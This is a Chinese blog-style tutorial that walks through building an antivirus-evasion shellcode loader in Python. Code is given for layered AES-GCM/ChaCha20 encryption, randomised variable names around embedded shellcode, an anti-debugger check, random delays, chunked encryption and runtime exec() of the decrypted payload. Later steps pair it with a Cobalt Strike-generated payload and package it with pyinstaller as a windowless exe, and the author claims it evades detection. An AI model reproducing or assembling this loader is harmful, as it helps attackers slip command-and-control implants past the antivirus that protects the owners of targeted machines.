0x01 前言
最近学习了一下免杀相关的知识,参考了互联网几个公开项目的思路,尝试自己开发了一个小工具,本文主要用来记录一下主要思路。
0x02 思路
根据大部分公开工具的思路来看,发现可以采用多层防护的架构设计以获得比较突出的免杀效果,主要包含以下几个核心组件:
密钥生成器主加载器加密payload配置管理
0x03 实现核心功能
密钥生成
from cryptography.hazmat.primitives.ciphers.aead import AESGCM, ChaCha20Poly1305import osdef hybrid_encrypt(data: bytes) -> tuple:# AES-GCM加密 aes_key = os.urandom(32) aes_nonce = os.urandom(12) aes_cipher = AESGCM(aes_key) aes_encrypted = aes_cipher.encrypt(aes_nonce, data, None)# ChaCha20二次加密 chacha_key = os.urandom(32) chacha_nonce = os.urandom(12) chacha_cipher = ChaCha20Poly1305(chacha_key) final_encrypted = chacha_cipher.encrypt(chacha_nonce, aes_encrypted, None)return final_encrypted, aes_key, aes_nonce, chacha_key, chacha_nonce
这里使用两种不同算法组合,增加破解难度;AES-GCM提供认证加密,ChaCha20提供速度。
ran_num = random.randint(1,10) # 随机长度1-10ranStr = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], ran_num))split = ranStr + '=bypass'# 分割符格式
使用长度随机+字符随机以获得更好的免杀效果
x = '''import ctypes'''+ranStr+'''=bytearray('''+shellcode+''')'''+split+'''# ... 后续代码'''
这里使用随机字符串作为变量名,并且每次生成不同的代码结构。
反调试功能
使用Windows API IsDebuggerPresent() 检测是否在调试器环境中运行,如果检测到调试器,那么返回False并记录警告日志.
def _anti_debug(self):"""反调试功能""" try:if ctypes.windll.kernel32.IsDebuggerPresent(): logger.warning("检测到调试器")return Falsereturn True except Exception as e: logger.error(f"反调试检查失败: {str(e)}")return True
适当增加延迟
添加随机延迟,可以增加行为分析的难度
random_delay = random.randint(1, 10) * 0.1time.sleep(random_delay)
应用场景:
logger.debug("开始执行payload")# 使用base64编码encoded_payload = base64.b64encode(payload.encode('utf-8'))# 添加随机延迟random_delay = random.randint(1, 10) * 0.1time.sleep(random_delay)# 执行payloadexec(payload)
代码分割和分块加密
将长代码分割成64字节的小块,然后每个块单独加密,避免整体特征识别,从而破坏代码的完整性特征,增加静态分析难度。
def encrypt_message(self, message: str, chunk_size: int = 64) -> List[str]:"""将消息分块加密""" chunks = [message[i:i+chunk_size] for i in range(0, len(message), chunk_size)] encrypted_chunks = []for i, chunk in enumerate(chunks): encrypted_chunk = self.fernet.encrypt(chunk.encode('utf-8')) encrypted_chunks.append(encrypted_chunk)return encrypted_chunks
运行时解密执行
延迟解密策略
def execute_payload(self, payload: str):# 使用base64编码 encoded_payload = base64.b64encode(payload.encode('utf-8'))# 添加随机延迟 random_delay = random.randint(1, 10) * 0.1 time.sleep(random_delay)# 执行payloadexec(payload)
使用exec()动态执行,绕过静态检测。静态扫描时只能看到加密后的代码,只有在运行时才进行解密和执行, 总体来说,这个脚本我采用的思路主要有六部分
代码分割:可以破坏完整性特征双重加密:形成了多层防护体系动态生成:避免固定特征运行时解密:用来绕过静态检测日志混淆:可以干扰分析过程异常伪装 - 模拟正常软件
这些技术相互配合,形成了一个相对完整的免杀防护体系,进而提高了绕过杀毒软件检测的成功率。
0x04 实际效果
1、首先生成免杀的exe
pyinstaller --onefile --hidden-import cryptography bypass.py
打包生成可执行exe

2、然后使用CS生成python类型payload

3、使用密钥生成脚本生成3个key值后,依次填入主程序脚本中的中三个留空值,然后使用
pyinstaller --onefile --hidden-import cryptography --windowed bypass.py
打包输出隐藏控制台窗口的可执行文件exe,输出在dist目录下. 双击或命令行start即可执行。
0x05 免杀效果



0x06 参考项目
https://github.com/langsasec/c2-shellcode-py
https://blog.csdn.net/qq_32261191/article/details/108994177
https://github.com/Soufaker/moon_kill
https://github.com/HZzz2/python-shellcode-loader